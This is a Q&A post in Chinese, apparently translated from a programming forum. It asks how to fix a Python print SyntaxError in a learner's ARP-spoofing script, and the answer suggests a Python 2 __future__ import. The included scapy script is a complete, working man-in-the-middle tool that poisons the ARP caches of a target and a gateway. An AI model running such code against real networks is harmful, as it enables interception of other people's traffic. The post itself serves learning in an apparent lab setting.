我该如何纠正这个错误? print("\r{+} 数据包发送:" + str(sent_packets_count), end="") ^ SyntaxError:语法无效

问题描述

我正在使用 kali Linux 学习 arp 欺骗,当我运行我的代码时,我得到了这个。我该如何纠正该错误enter image description here

下面是我的代码

**#!/usr/bin/env python
import scapy.all as scapy
import time

target_ip = "10.0.2.16"
gateway_ip = "10.0.2.1"
def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast,timeout=1,verbose=False)[0]
    return answered_list[0][1].hwsrc
def spoof(target_ip,spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=spoof_ip)
    scapy.send(packet,verbose=False)
def restore(destination_ip,source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2,pdst=destination_ip,hwdst=destination_mac,psrc=source_ip,hwsrc=source_mac)
    scapy.send(packet,count=4,verbose=False)
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip,gateway_ip)
        spoof(gateway_ip,target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r{+} Packets Send: " + str(sent_packets_count),end="")
        time.sleep(2)
except KeyboardInterrupt:
    print("\n{-} Detected CTRL + C... Resetting ARP tables ... Please wait.\n")
    restore(target_ip,gateway_ip)
    restore(gateway_ip,target_ip)**

解决方法

如果您使用的是 Python 2,请确保添加

from __future__ import print_function

在程序的顶部。 Python 2 的打印功能不支持 end= 等 Python 3 特性。查看https://www.python.org/dev/peps/pep-3105/了解更多信息